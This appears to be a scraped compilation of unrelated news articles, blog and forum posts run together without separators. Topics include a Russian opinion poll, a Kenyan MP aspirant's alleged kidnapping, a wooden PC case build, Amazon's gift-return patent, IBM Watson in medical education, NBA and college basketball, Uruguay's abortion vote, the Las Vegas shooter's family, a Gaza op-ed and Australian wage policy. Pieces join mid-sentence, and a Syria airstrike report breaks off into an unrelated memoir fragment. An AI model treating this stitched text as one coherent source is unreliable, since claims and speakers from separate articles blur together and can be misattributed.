In late 2015, Levada conducted a similar survey to study Russians’ attitudes towards the US, the EU, and other Western countries. At that time, 75 percent of Russians said that their country should do more to improve relations with the West, but 65 percent also maintained that their country should continue implementing independent policies. Just 26 percent said Russia should compromise in order to lift the economic sanctions mutually imposed as a result of the crisis in Ukraine.Kabete MP aspirant Charles Chege, who went missing last Friday night, has rubbished claims he stage-managed his abduction.
Chege's Toyota Prado was found at Muthiga area near a dam with two bullet marks on the back left door. He was found in Narok town two days after going missing.
Some members of the public claimed this was one of many tactics politicians are using to get sympathy votes ahead of party nominations and the August 8 general election.
But the aspirant, popularly known as Chege Fresh, said he was the best Jubilee candidate in the race to replace Ferdinand Waititu who will vie for Kiambu Governor.
"How can the number one hide himself yet he has already won the nomination and the election?"
Avoiding questions on the issue, Chege said his kidnap was being investigated by police and that there was no need to discuss it.
He urged his supporters to ignore his rivals who are speculating over his disappearance.
Read: ‘Kidnapped’ Kabete MP hopeful Chege Fresh is found in Narok
Chege spoke at King'eero police station in Kabete where he recorded a statement before area OCPD Joseph Ongaya.
"As of now, we cannot comment on who kidnapped him. We haven't finished our investigations. We shall let you know once we are through," Ongaya told members of the public. "People are speaking a lot about it. I believe we have been recording the right statements."
Police had a difficult time controlling the aspirant's supporters who sang songs of praise at the station before his arrival in a Mercedez Benz.
Chege thanked residents for the messages of goodwill they sent before and after he was found.
"I will not be deterred from continuing with my campaigns," he told the crowd and asked the government to provide security for all candidates countrywide.
Read: Happy Charles Chege is alive, Kabete residents plan door to door campaignsIngraham December 2nd, 2008 The Ingraham is my tribute to the Ingraham Cabinet Co. who designed and built many of my favorite wooden radio cabinets in the 30's and 40's. Ingraham didn't build radios, they were a clock company, but many famous radio manufacturers contracted with them to furnish wooden enclosures. The Ingraham's design is based on the 1946 Stromberg Carlson model 1110H. The art deco era was transitioning into the streamlined era as straight lines gave way to gentle curves. The Ingraham has an American black walnut shell clad to the aluminum body of a Silverstone LC06 mini-ITX case. The back panel is a piece of burl from the same stock. Size comparison photo. It is relatively large for a mini-ITX case but still very small. The mini-ITX board is a VIA VB8001 mainboard featuring the VIA Nano processor at 1.6GHz. The board features a 16x PCI-e slot and a mini-PCI slot. The board sports 4GB of Crucial DDR2 memory. There is a 64GB Crucial solid state drive (SSD) mounted directly underneath the board that serves as the system hard drive. The 42 CFM system blower is supported for shipping by a red-painted wooden block designed for the purpose. The donor case is the Silverstone LC06 LaScala aluminum case with an included 60W power supply. The LC06 is unique in that it supports a full-size optical drive, a 3.5" disk drive and two PCI expansion slots in a mini-ITX case design. The original Stromberg Carlson radio with Ingraham cabinet. I began the transformation by giving the case a frontal lobotomy using a Dremel tool with cut-off wheel. Plywood side panels were bolted to the case body to allow for expansion. Cutouts were made to support the front grill and a basswood front panel was machined for controls and attached with bolts. Rafters were hand milled from basswood and set into place. Glue down blocks were set on the edges and used as rafter spacers. The grill was made from 37 pieces of basswood and formed two 3" round ventilation ports. The roof is 1/32" aircraft-grade 3-ply birch plywood attached using contact cement. Veneering is shown being started on the back panel. Completed veneering job. The veneer came in 3" wide strips so there was considerable effort expended to properly match wood grains. A coat of lacquer sanding sealer on the walnut and test fitting the grill. The center circle was made by inserting small pieces of milled wood between the existing fins to fill in the shape. The center strap was cut from walnut veneer and test fit. The upper arch completing the center circle was also hand milled and test fit. The first couple of brush-on lacquer coats were applied and the grill was sprayed with industrial aluminum paint. The aluminum paint has actual aluminum paste in it. A hole is bored to attach the centerpiece with a 4" bolt. The footer was formed from 18 pieces of wood and sprayed gloss black. A gloss black highlight disk was threaded through the bolt and attached behind the centerpiece. The centerpiece is a chrome -plated, billet aluminum, knurled-edge, baby moon-style gas cap for a Harley-Davidson motorcycle. It was made by Arlen Ness and as you can see has great reflective properties. Image in reflection is 'The Thinker' by Rodin. Ten coats of satin finish brush-on lacquer was buffed with #0000 steel wool and Johnson's Paste Wax. I want to thank my good friends at VIA, Crucial and Silverstone. Thanks for looking!Undoubtedly, the Thread and Bobbin Sewing Kit that Aunt Mildred sent from Amazon.com for Christmas will never see a stitch. The Stallion Stable Music Box might have looked pretty on the computer screen, but under the tree's flickering lights, it is frightful. The polka-dot nightgown has never been a good idea, even with free shipping.
These gifts sent via some warehouse many miles away are not only unwanted, but also a multimillion-dollar headache: They have to be repacked, labeled, dropped off and shipped back to Amazon's Island of Misfit Toys. Then a new present has to be packed, labeled and shipped again. Efficient, the process is not.
Amazon is working on a solution that could revolutionize digital gift buying. The online retailer has quietly patented a way for people to return gifts before they receive them, and the patent documents even mention poor Aunt Mildred. Amazon's innovation, not ready for this Christmas season, includes an option to "Convert all gifts from Aunt Mildred," the patent says. "For example, the user may specify such a rule because the user believes that this potential sender has different tastes than the user." In other words, the consumer could keep an online list of lousy gift-givers whose choices would be vetted before anything ships.
Amazon's idea has raised the ire of the Miss Manners crowd, which thinks the scheme rather uncouth. After all, receiving an e-mail notification of a forthcoming gift - and thereby being able to check its price - is hardly the same as unwrapping the item at home.
Anna Post, great-great-granddaughter of the late etiquette author Emily Post and spokeswoman for the Emily Post Institute, said she hopes the company realizes it is risking major backlash and abandons the idea. Because of Amazon's dominance online, she and others say they fear the idea could spread throughout the e-retailing industry, which this holiday season racked up $28 billion in gift purchases.
"This idea totally misses the spirit of gift giving," Post said. "The point of gift giving is to allow someone else to go through that action of buying something for us. Otherwise, giving a gift just becomes another one of the world's transactions."
The proposal has also brought into focus a very costly part of the e-retailing business model: Up to 30 percent of purchases are returned, and the cost of getting rejected gifts back across the country and onto shelves has online retailers scrambling for ways to reduce these expenses.
"It's in the millions of dollars, and it might even be billions," said Carl Howe, a Yankee Group consumer technology analyst. "If you can get the right gift to a person the first time, this could be a huge cost-saving invention. From a retailer's perspective, this is like gold."
Amazon's timeline for introducing the idea to consumers is unclear, as is its plan for marketing the concept without offending gift givers who take great pride in their selection of unfortunate Christmas sweaters for their favorite nieces and nephews. Officials from the Seattle retailer did not return numerous e-mail and phone requests for comment. But Amazon appears to be quite serious: Its patent was awarded not just to Amazon, but to its founder, Jeff Bezos.
Amazon's patent is 12 pages long, with numerous diagrams, including a "Gift Conversion Rules Wizard" that shows how a user could select rules such as, "No clothes with wool." The document makes for curious reading, reducing the art of gift giving to the dry language of patentry.
"It sometimes occurs that gifts purchased on-line do not meet the needs or tastes of the gift recipient," the patent says. "In some cases, concern that the gift recipient may not like a particular gift may cause the person sending the gift to be more cautious in gift selection. The person sending the gift may be less likely to take a chance on a gift that is unexpected but that the recipient might truly enjoy, opting instead for a gift that is somewhat more predictable but less likely to be converted to something else."
In even drier language - "an exemplary embodiment relates to a computer-implemented data processing system comprising a user interface and gift conversion logic" - Amazon explains complicated algorithms that help users create rules about what to do in certain gift situations, such as "Convert any gift from Aunt Mildred to a gift certificate, but only after checking with me."Secretary Clinton's departure from Foggy Bottom last week prompted the foreign policy community to partake in what's become a regular transition tradition: debating America's role in the world and offering up a rash of "grand strategies" to influence policy. It's undeniable that we are facing a pivotal moment in our foreign policy -- a moment reminiscent of the post-World War II era, the Cold War "new world order," and the years following 9/11. But the only thing experts agree on is that we are facing this moment, not how to approach it.
One school of thought -- the "restraint" perspective -- asserts that the U.S. (and Europe by extension) is following an inexorable arc of decline, on the cusp of being replaced -- first economically, then politically and culturally -- by China and an emerging band of rising powers sometime in the next decade. Barry Posen, Gideon Rachmann, and others argue that our best course of action is to acknowledge that America's superlative moment is over, and to enact a strategy similar to Britain's after World War II -- stick to a narrow national security mandate, protect core interests, but down-size the military and abandon our broader global program.
Equally vocal are "deep engagement" advocates, a viewpoint well-captured in the recent Foreign Affairs article "Lean Forward," which posits that our long-term prosperity, security and influence is contingent on maintaining broad security commitments, ensuring an open world economy, taking responsibility for combating a "wide range of global threats," and continuing to lead the liberal international order.
But deconstructing future policy choices into a simple binary framework -- engage or pull-back -- does not do justice to the increasing complexity of our global environment. Instead, I would propose a third approach: pursue a dynamic and flexible strategy based on key global trends that will define the world in the next 20 years. What are these trends?
First, we know that power will be increasingly diffuse. U.S. hegemony will start to wane and a host of new states located outside the traditional North American-European axis will begin to emerge. None will be fully powerful in their own right and able to challenge U.S. supremacy ("first among equals" seems to be the term du jour); but as a bloc they will exercise newfound economic and political clout and demand concomitant respect.
Most experts also agree that economic primacy will shift -- the relative decline of the West will usher in a rash of emerging powers. Nipping on the heels of China and India will be Brazil, Colombia, Egypt, Indonesia, Iran, South Africa, Mexico and Turkey. This upsurge will be fueled by the unprecedented ascendance of a global middle class, rising from one billion today to as high as three billion by 2030, as well as the concurrent rise of what Tom Friedman calls the "virtual middle class."
Third, demographics matter -- as Jack Goldstone presciently wrote in "The New Population Bomb," where populations are growing and where they are declining will critically affect a country's security, economic prosperity and future prospects. This means that Japan and many parts of Western Europe are in serious trouble, China's demographic dividend has run its course and raises significant questions about its economic model, and India is poised to reap a decade of additional productive economic growth (assuming it can tame its bureaucratic-industrial complex).
Let us not also overlook the disruptive effect of new technology (where will tomorrow's Arab Spring take root?), the perils of climate change, the rise of mega-cities and the ascendance of the urban over the rural, greater resource scarcity as well as new energy potential.
For the U.S. these trends point to several important implications.
First, it becomes even more imperative that we continue to invest in an international set of institutions (Bretton Woods, United Nations) established in the wake of World War II. While it is inevitable that their composition will change as Western influence diminishes, they will continue to be an auspicious venue for advancing US priorities. After all, we designed and built them in our vision -- their underlining disposition will continue to tilt in our favor.
We also need to form new strategic alliances with emerging powers. The Asian pivot is just a starting point; we need to systematically partnering with a new generation of emerging states as the keys to maintaining U.S. influence in the global system. It means doubling down on our development efforts -- food security, global health, poverty reduction. We should not limit ourselves to partnering with like-minded democratic states; instead we should pursue a "hedging" strategy and seek to include as many countries as possible within our economic web of influence. In this century, our economic interests will be even more bound up with our security objectives -- as history tells us, there is no way we can maintain our military supremacy without continued economic vitality.
We have to recognize demographic realities -- a young, productive population is the key to maintaining the vitality of our economy. Policymakers must explore ways to keep America's working age population relatively high, through creative means, especially immigration.
Finally, we need to be prepared for a world marked by heightened environmental volatility. Temperatures and ocean levels are rising and weather patterns are increasingly erratic -- we may not be able to predict where the next large-scale typhoon or hurricane will hit, but we can undoubtedly take important, systematic steps to build domestic and global resilience to withstand shocks.
This is not an argument in favor of either a deep engagement or restraint approach. Rather, it is a call for us to recognize that the world will be increasingly fluid, dynamic, unpredictable and multi-polar in the coming decades, and that we need a sufficiently flexible approach that will factor in anticipated trends and allow us to adapt to changing circumstances. For the next century to be as prosperous for America as the last, we must fully embrace the notion that our future prosperity is intricately linked to how we choose to engage the world today.CLEVELAND, Ohio -- Watson, the super-smart, Jeopardy!-winning, IBM computer, is headed off to medical school.
In Cleveland.
IBM is sending its precocious computer to the Cleveland Clinic Lerner College of Medicine of Case Western Reserve University.
The announcement was released early this morning by IBM and the Clinic and will be followed up at the Cleveland Clinic Medical Innovation Summit today with a 4 p.m. panel discussion on the role of Watson in the future of healthcare.
Nobody expects the giant thinking machine to graduate in a few years, don a white coat, walk into an operating room and perform surgery.
The goal is to fill Watson's brain with journal articles, conference papers and more medical research than any human could possible cram into his head, then have it come up with a list of possible diagnoses to help doctors make better, faster, more accurate decisions about how to treat their patients.
"It will be a partner, a good sidekick," said Dr. Neil Mehta, director of education technology at Lerner and leader of the project for the school.
"It will be there to help us make sure that we're not missing possibilities, that we're doing a more complete search [of the research] and presenting it in an easy-to-understand manner."
What Watson will do "Our view is that Watson is never making the final decision, rather it's providing access to all kinds of information sources... and analyzing that kind of unstructured information and using it to evaluate possible diagnoses and treatment and giving that information back to the physician."
-- Eric Brown, a manager on the IBM Watson research team
Like it did with questions on Jeopardy!, Watson will tell doctors how confident it is that its diagnoses are correct. And Lerner, Mehta said, will help boost its confidence.
"This is the next big challenge for Watson and IBM," Mehta said. "They have built a second-generation software and they want us to help refine these algorithms to help Watson build its confidence in its answers."
That's not all Watson will do.
It will also provide students with the data it used to get to its answers, which, in turn will help them learn.
Like many of those students, it will conduct research, too.
Lerner medical students will be divided into two groups. A test group that studies with Watson at its side and a control group that studies on its own. And faculty will see which group performs best.
IBM is counting on Watson's group making better decisions and its computer improving medical care.
The technology and consulting company with more than 400,000 employees and $107 billion in revenue in 2011, hopes the Clinic and Watson can work together to create sophisticated software -- a vast reference library that will advance treatment for patients -- that it can sell to healthcare providers around the world.
IBM won't disclose terms, but company officials called this a research-driven collaboration that will advance Watson's ability to help humans make better decisions when it comes to their health.
As smart as Watson is, don't count on it graduating anytime soon.
"Right now we have a three-year plan in front of us," Mehta said. "We probably will be doing some pilot studies early next year."
Those studies will help Watson learn a next-generation technology that IBM calls TeachWatson and improve its Deep Question Answering technology in the field of medicine.
Lerner's 160 students and Watson will pose questions to each other to help the computer become a more analytical thinker, refine its ability to generate hypotheses, rank those hypotheses and come up with answers.
"Every question that is asked is going to help Watson," Mehta said. "He's going to say, 'Oh, this is how humans think.'
"There is so much synergy here because the way students learn right now in the problem-based setting is very similar to the way Watson is being programmed to think."
The New York State-based company chose Lerner over the 170 med schools across the country because it likes its problem-based method of teaching.
"When we want them to learn about the heart and lungs, we give them a case: An elderly gentleman is out shoveling snow and gets chest pain. Students have to work out the problem," explained Dr. James Young, executive dean of Lerner.
That, IBM officials say, is how it wants Watson to think.
"This problem-based learning approach in working with their medical students fits very nicely with the work that we're doing with Watson and the way we want to continue to drive and adapt the technology," said Eric Brown, a manager on the IBM Watson research team.
And Young hopes that will lead to diagnostic suggestions by Watson that are "right on target."
"Obviously Watson's not going to be able to do a cardiac catheterization, but he can clearly say 'This person needs a cardiac catheterization,' " Young said.
"If we can get Watson to give us information in the health-care arena like we've seen with more general sorts of knowledge information, I think it's going to be an extraordinary tool for clinicians and a huge advancement in IT approaches to health care."Feb 4, 2015; Atlanta, GA, USA; Washington Wizards forward Nene Hilario (42) and forward Kris Humphries (43) react on the bench in the closing minutes of their loss to the Atlanta Hawks at Philips Arena. Hawks won 105-96. Mandatory Credit: Jason Getz-USA TODAY Sports
Nene arrived at a critical time for the Washington Wizards. In year two of Ted’s plan and in John Wall’s second season, the team was floundering. The collection of recent draft picks and young veteran players on rookie deals were on the road to nowhere.
Surprising as it may seem, these inspiring words did little to instill the professionalism and leadership this team desperately needed.
“How y’all doing? This is your captain, Andray Blatche.”
On March 15th, 2012 at 9-32 in the midst of a lockout shortened season, the Wizards decided they had enough. The decision was made to trade two young players in JaVale McGee and Nick Young, two players who were in the last year of their respective contracts for Nene, who just recently had signed a 5-year/ $65 Million contract with the Denver Nuggets.
It was a shift in how this team operated. Instead of throwing a lot of inexperienced players out there and having them try to figure it out by themselves, the front office decided to bring a professional basketball player to the team and locker room.
After completing the trade for Nene, Ernie Grunfeld said “We felt like we needed someone who had more experience who could come in there and play and someone who is under contract for the next few years and be with us.”
The Ronny Turiafs and Josh Howards of the world weren’t going to be looked at to guide this franchise through the rebuild. They wanted a proven veteran and as Ernie went on to say, “We want to have guys that are competitive, that care about winning and losing.”
Fast forward three plus years and that sense of professionalism exists now.
The Wizards are a team that plays with effort (except after losses according to Randy Wittman) and excels defensively.
Last spring they participated in and won their first playoff series since the 2004-2005 season and have qualified for the playoffs for a second consecutive season.
Sure we can argue that the Wizards may have swung too far to the other end of the pendulum in terms of relying on veterans and have moved away from a true, lasting rebuild. What you can’t argue is the change of professionalism within the organization since Nene’s arrival.
But have the Wizards outgrown Nene?
The Washington Wizards are 9-4 without Nene this season (10-4 if you include a win at Milwaukee where Nene played 6 minutes before exiting with an injury). Let’s be honest though, the teams they’ve played over that stretch are by no means world beaters, sporting a combined win/loss percentage of.459 percent.
That number gets even worse when you look at win/loss percentage of teams they’ve actually beaten without Nene (.394 percent). However, can you ignore the fact that the Wizards are averaging 103.7 PPG in those 13 games? That’s five PPG more than their average for the season as a team (which is skewed by these 13 games so the gap is actually wider).
Outside of the statistical differences, what you see is apparent to the naked eye (yes, the dreaded eye test); spacing is better, there’s more room for the guards to operate, the ball moves more quickly, and Marcin Gortat, the player the Wizards re-signed to a $60 Million contract last summer actually gets the ball!
In the 13 games Nene has missed, Marcin Gortat is averaging 16.5 ppg on 59.2 percent shooting the field. He’s producing at this level while taking less than 12 FGA per game (maybe someone can tell Randy and his teammates to maybe run some more pick & roll…Like NOW).
Let’s get back to Nene though.
I’m in no way suggesting it’s time for the team to say “Thanks for your service Nene, but please turn in your playbook”.
Nene still has one year left on his contract and there is no indication that he won’t be back in the District next season. There is no permanent replacement or heir to the power forward position on the roster.
Drew Gooden is playing at a high level as of late, but at 33-years-old he is in no way a permanent solution, let alone even a solution for the rest of this season (although I’d ride it out as long as it lasts).
Kevin Seraphin’s contract is up at the end of this season and he may not be back, and Kris Humphries at this point in his career seems more like a high level reserve.
Nene’s defense and physicality will also be needed as the team prepares for the playoffs. When Nene is engaged and playing effectively, he can be a game changer as he was versus Chicago. On the flip side however, he can directly contribute to their offensive woes as his and the team’s struggles versus Indiana in the Eastern Conference Semifinals showed.
I suggested earlier this season that a reserve role for Nene might be best for him and the team and as-is, I stand by that. B
etween what the Wizards have at the power forward position behind Nene (Gooden, Humphries) and what they haven’t utilized enough (Paul Pierce as a stretch-4), there’s enough there to allow Nene to come off the bench in the short-term.
In the long-term it’s time to plan for a future that does not rely on Nene. The front office needs to finally find that player at power forward who can complement the now mature core; a player with the perimeter skills to open the floor and opportunities for the core players who are here for the long haul.
Nene has been impactful in his time since arriving to D.C. He’s helped to right a ship that was going very wrong and brought a professional approach to the franchise.
His contributions cannot be measured and he is still an effective player to date, but the current core now seems ready to stand on their own feet.Uruguay has voted by a razor-thin margin to legalise abortion, becoming only the second country in Latin America to make abortions accessible to all women during the first trimester of pregnancy.
The vote in Uruguay’s chamber of deputies was 50-49 after several MPs on each side of the debate said they could not in good conscience go along with their parties, and allowed substitutes to vote in their stead.
President Jose Mujica has said he will allow the legislation to become law, if the senate approves the changes. The senate has approved an even more liberal version of the abortion measure.
The chamber of deputies’ legislation would give women the right to a legal abortion during the first 12 weeks of pregnancy, and decriminalise later-term abortions when the mother’s life is at risk or when the foetus is so deformed that it would not survive after birth. In cases of rape, abortions would be legal during the first 14 weeks.
Deputy Pablo Abdala, of the opposition National Party vowed yesterday to promote a popular referendum to overturn the law, if Mr Mujica does not veto it, calling the measure a violation of human rights.
However, polls suggest many more Uruguayans favour abortion rights than oppose them.
A survey this month showed 52 per cent of Uruguayans would vote to legalise abortion if the question were put to the people, while 34 per cent would vote against it.
Cuba, which decriminalises abortions in the first ten weeks of pregnancy, is the only country in Latin America where legal abortion is common.
Argentina and Colombia allow it only in cases of rape or when the mother’s life is endangered. Colombia also allows it when there is proof of foetal malformation.The story of Las Vegas shooter Stephen Paddock's family just keeps getting weirder.
The Los Angeles Times is reporting one of Paddock's estranged younger brothers, Bruce Paddock, has been detained in North Hollywood on suspicion of crimes related to child pornography. Paddock, 58, was taken into custody Wednesday morning.
The LAPD said a man was detained in the 5300 block of Laurel Canyon Boulevard on suspicion of crimes related to child pornography. However the LAPD would not reveal the name of the man. The LAPD confirmed the investigation into Bruce Paddock predates the Las Vegas shooting and the two incidents are not connected.
Bruce Paddock
Police said they began investigating Paddock after "evidence was discovered" in a business he was squatting in after he was was evicted from the building.
Police added that Paddock "could not be located" for some time after the investigation began, as he was transient following his eviction. They released Paddock's mugshot "in case there may be victims of unreported incidents." His bail was set at $60,000.
Las Vegas shooter Stephen Paddock
The Paddocks' father, Benjamin Paddock, was famously revealed to be a former bank robber and con man who once made the FBI's "most wanted" list. Paddock's family has mostly avoided the media, though his youngest brother, Eric, spoke out when reporters descended on his Florida home in the days following the shooting. Eric Paddock said he wasn't close with most of his brothers, but had once been involved in a lucrative real estate venture with Stephen. He said he was shocked to learn that his brother had been the shooter, and said his brother gave no indication that he might carry out such an atrocious act.
The 64-year-old Stephen Paddock opened fire on a Las Vegas crowd of 20,000 people attending a country music festival on Oct. 1. Paddock killed 60 people, including himself, in the meticulously planned attack.
Meanwhile, police have repeatedly changed their timeline for the shooting, and MGM Resorts, the owner of the Mandalay Bay hotel, has taken efforts to stop more information about the timeline of events from leaking to the public, for fear it could face lawsuits from Paddock's victims.
* *
Separately, as the search for a motive behind the deadliest mass shooting in US history appears to have hit a wall - and while the multiple changes in the timeline of events have raised questions about the effectiveness of the initial response - ABC News reports that the laptop computer recovered from Paddock’s room was missing its hard drive, depriving investigators of a potential key source of information into Paddock’s frame of mind at the time of the shooting.
Paddock is believed to have removed the hard drive before fatally shooting himself, and the missing device has not yet been recovered.
Investigators digging into Paddock’s background also learned he purchased software designed to erase files from a hard drive, but without the hard drive to examine, it is impossible to know if he ever used the software. Searches of Paddock’s car and homes turned up an arsenal of guns and explosive materials - but data gleaned from his computers has provided precious little for investigators to go on.
He is not the first mass shooter to destroy or hide digital clues, ABC noted.
In 2007, Virginia Tech shooter Cho Seung Hui removed the hard drive of his computer and disposed of his cell phone shortly before the massacre. They were never recovered.
The 2008 Northern Illinois shooter, Steven Kazmierczak, removed the SIM card from his phone and the hard drive from his laptop, and neither was recovered.
In 2012, Sandy Hook shooter Adam Lanza removed the hard drive from his computer and smashed it with a hammer or screwdriver.
Paddock spent months assembling the arsenal in a way that didn’t attract the attention of authorities. Authorities are examining every aspect of Paddock’s life — from his family, friends and associates to his travel patterns, health and finances. A sudden deterioration in his finances has been ruled out as a motive, as one source told ABC that Paddock had settled debts he had with casinos shortly before the attack.
Other mass murders have left behind clues as to their motives - who can forget the unabomber’s manifesto? Paddock, however, left behind no such writings or evidence.It is likely that UNC could be without center Tony Bradley next season. The 6-11 freshman has entered the 2017 NBA Draft, but did not hire an agent allowing him to return for his sophomore season. The NBA Combine is May 9-14 and Bradley will have to make a final decision by May 24.
Without Bradley, North Carolina's big man depth for the 2017-18 season is bleak. The only player with any sort of college minutes is 6-8 forward Luke Maye. Behind him would be all freshman, all ranked outside the top 100 --- who knows how that will go
Garrison Brooks averaged 14.3 points, 9.1 rebounds and 2.3 blocks as a senior.
One of those freshmen next season is 6-10 Garrison Brooks. The 2017 power forward from Alabama committed to UNC on April 21 and signed his letter-of-intent on May 1. He could play a big role next season regardless of Bradley's decision and certainly will if the rising sophomore does stay if the draft.
What type of player is Brooks and what will he bring to North Carolina? CarolinaBlue spoke with 247Sports National Recruiting Analyst Andrew Slater to get the low down on the UNC signee
"Garrison Brooks is a relatively physical two-way big man, who is skilled in the low-post," Slater started. "Although he is not the most athletic big man, he has solid lateral quickness."
Brooks is ranked as the No. 31 power forward in the 2017 class.
"The son of a Mississippi State assistant coach, Brooks can bring North Carolina quality rebounding on both ends," Slater explained. "Defensively, he is an expert solid shot-blocker, while also being relatively strong enough to hold his position in the low-post --- the 6-10 Alabamian is easily able to finish through contact. Brooks is able to add points by simply drawing fouls at a high rate and being a solid free throw shooter."
Brooks earned Alabama first-team all-state, all-region and all-area honors and was runner-up for Class 7A state player-of-the-year honors.
Brooks will come to UNC in a three-person big man class that features centers Brandon Huffman and Sterling Manley. Brooks is more athletic than the pair and likely more developed and versatile offensively.
"In the coming years, it will be important for him to tighten his body, develop more of a face-up game, and become a more effective passer," Slater said. "By adding Garrison Brooks, it secures another very solid four-year big man for Roy Williams and the Tar Heels, as they continue to stockpile depth in the front court."
North Carolina's 2017 class now sits at five signees as the Tar Heels await the decision of five-star small forward Kevin Knox.Feeling like a seriously lucky girl this morning having received multiple gifts from Iceland, land of giants and intrigue - I've always wanted to spend NYE in Reykjavik and that's where my presents are from!!! This is my first Reddit SS and I've gotta say I mainly wanted to give, so I didn't think I would get this excited...
I absolutely love my card, who would've known?!
The timing on my receipt of this gift is serendipitous considering SS first sent me chunky slipper socks (they say Iceland on them!!!) and I'm actually festering at home with a cold today - Santa always knows. Next we have chocolate... Talk about my Achilles heel: milk chocolate, milk chocolate with cookies, vanilla toffee and what I think appear to be liquorice laces. So that trip to Tesco I was planning, in order to buy pity-party food is unnecessary! The little horse-inspired keepsakes are so sweet and the magnet has immediately gone on my fridge! I'm going to put the pin on my coat and slip the book into my coat pocket for the bus, since I know nothing about Dagsson.
Thank you so very much Santa, 2016 has been a wank year and you've truly lifted my spirits in the lead up to Christmas. I hope that you have an incredible time with your family and friends and wish you all the best for 2017!
MERRY CHRISTMAS EVERYONE ☃️Syrians remove the bodies of those killed after a government airstrike hit the Hama Suburb of Halfaya, Syria. Photo by Associated Press /Times Free Press. Photo by Associated Press /Times Free Press.
BEIRUT - A government airstrike on a bakery in a rebel-held town in central Syria killed more than 60 people on Sunday, activists said, casting a pall over a visit by the international envoy charged with negotiating an end to |
as he and I just looked at each other.
This man had just bared his soul to me, for consequences that could be much greater than the success of a simple film. But it was I who felt vulnerable. As we stood there I struggled for something to say.
I extended my hand. He shook it.
“Listen, Larry, if you ever need anything just let me know,” I said.
“What do you mean?”
It was an empty offer. Both he and I knew it. Soon I would be gone and Larry would be back to the life he had just described to me.
“I don’t know, I just want you to know if you need help, you can let me know,” I said.
There was a long pause; Larry studied me one last time. I can only imagine how ignorant I looked and sounded.
“I don’t think there is anything you can do to help me,” he said.Hassan, an 8-year-old Gazan boy, could consider himself lucky. Last year, thanks to his serious illness, Israel let him in to be treated in a Tel Aviv hospital. Israel boasts of its generosity: after four decades of occupation, which has left Gaza’s hospitals on a Third World level, followed by years of siege, which has exhausted the little equipment and medicine arsenal those wretched hospitals had acquired, Israel grants treatment to a small number of mostly terminal Palestinian patients, provided the full cost is paid by the Palestinian National Authority. How very generous indeed.
Since every Arab is a terrorist until the opposite is proven, Israel lets at best just one adult, usually a woman, accompany a sick child into Israel. Hassan’s mother could go with him. But no Palestinian vehicles are allowed in. Having crossed the checkpoint into Israel, how would the ill child and his mother make the 45 miles to Tel Aviv? Public transport is unfeasible; a taxi or an ambulance is unaffordable.
A solution is offered by a small network of volunteer drivers, Israelis who take Palestinian patients to Israeli hospitals and then back to the checkpoints in Gaza or the West Bank. Many Israelis label these people “Arab lovers” or worse. That’s how friends of mine got to know Hassan and his mother, about a year ago. Hassan was diagnosed and treated in Tel Aviv on an outpatient basis and had to be driven back and forth. My friends would pick up Hassan early in the morning, take him to hospital, wait outside till he was finished, and then take him back to the checkpoint. A whole day off. But they earned new friends. Gazans, but humans.
Hassan’s illness got worse and worse. Three months ago, with the hospitals in Gaza having only painkillers to offer, Hassan was permanently hospitalized in Tel Aviv. His mother stayed day and night at his bed: first, because Palestinians seem to love their children too, second, because she had to leave her ID card at the hospital, so that she could not get out anyway. She spent months around the clock in the hospital with her ill son.
The doctors recommended bone-marrow implantation. Hassan’s four brothers were allowed in for one day, to check their compatibility as donors. But where would they stay the night? My friends offered them a bed. Realizing the four teenagers had never seen anything but the Gaza Strip, my friends did their best to give them a taste of life in Tel Aviv. After 24 hours they returned to Gaza; none of them could be used as donor.
The last hope was Hassan’s married aunt, but her husband wouldn’t let her go. When he was finally persuaded, it was too late. The war broke out.
About 80 percent of Gaza’s residents are refugee families who were driven out of Israel in and after 1948. Hassan’s family belongs to the small minority of original Gazan families. They own a house. After the first day of the war all the windows and doors were gone, thanks to Israel’s surgical bombing. Hassan’s sister was injured: a deep, bleeding cut in her leg. Her father took her to the nearby hospital, behind which dozens of corpses lay in the open air. They poked fun at her slight injury and sent her home.
A week later, the terrified father and Hassan’s five siblings were pushed into a single room. The rest of their home was ruined. Yet another surgical bombing. Their text message to my friends sounded like a farewell, and not just because they had no electricity to charge their cell phone.
Meanwhile in Tel Aviv, Hassan’s condition deteriorated. His mother, at her dying son’s bed, followed the horrors in Gaza on the phone, fearing the Israeli bombings, which targeted cellular antennas as well, would break the little communication left with her bombed family. Her favorite doctor was taken to the army. I never met Hassan or his mother, but I could see their horror and despair, on both fronts, reflected in my friend’s sleepless eyes.
In the second week of the war, Hassan, 9 years old by now, passed away. It took several hours to arrange an ambulance to take the bereaved mother and Hassan’s body back to Gaza, hoping they would not be bombed there. They entered the Strip shortly before the “humanitarian pause” was over; the ambulance refused to take them home. Hassan’s mother left her little luggage behind including some expensive medicines for her brother, unattainable in Gaza and paid for by my friends and walked the last mile home, carrying her dead son in her arms. Hassan was buried the same day.
Now the family could now go back to “normal.” The last room left of their house had collapsed, so they moved in with relatives. Another bombing took the life of close friends of theirs, a couple with two young children. One of Hassan’s uncles was injured, my friends failed to understand how seriously.
Ten days later a cease-fire was announced. Hassan’s family returned to what was left of their home. Like most of their belongings, the fridge too is badly damaged, but there is little electricity anyway. Hassan’s mother is physically and mentally exhausted. Her doctor tells her to rest a lot and avoid stress. Sure thing.
This is a true story, but a very unusual one. There are virtually no contacts between Israelis and Palestinians. Israel has been doing all it can to prevent such contacts: they jeopardize the national project of dehumanizing the Palestinians. We must dehumanize them, otherwise we won’t be able to teach them a lesson they won’t forget (experts call it “deterrence”). And we must teach them a lesson they won’t forget, in order to prove that they never learn, so that yet another lesson is necessary. Someone has to keep the weapon industry running, and Israel has really tried every possible way to reach peace (except ending the occupation).
So here we are now: a bereaved family in a ruined house in Gaza and an Israeli family in Tel Aviv who have almost become one family through Hassan’s illness and death. They phone each other daily, hoping to meet again soon. Will they see each other again not just soon, but ever? The answer is no. Not as long as Israel’s apartheid regime is in place. Israel does not allow its civilian citizens to enter Gaza, under any circumstances whatsoever. And Gazans are not allowed to enter Israel, unless they are lucky enough to be dying.
Read more by Ran HaCohenThe Turnbull government has urged the Fair Work Commission to take a cautious approach to raising the minimum wage, warning an "excessive" pay rise could imperil job creation in a changing economy.
In its submission to the commission's annual wage review process, the government said increasing the minimum wage was "not an efficient way to address relative living standards or the needs of the low-paid".
Around 196,300 - or 1.9 per cent of employees as of May 2016 - are paid the national minimum wage rate of $17.70 per hour.
In a contribution that will incense low-paid workers still angry over the commission's cut to some Sunday penalty rates - a decision Prime Minister Malcolm Turnbull has backed - the Coalition said low-paid workers "are often found in high-income households".Written by: Joe Ryan
Twitter: @joeryan1621
Twitter: @wingspansports
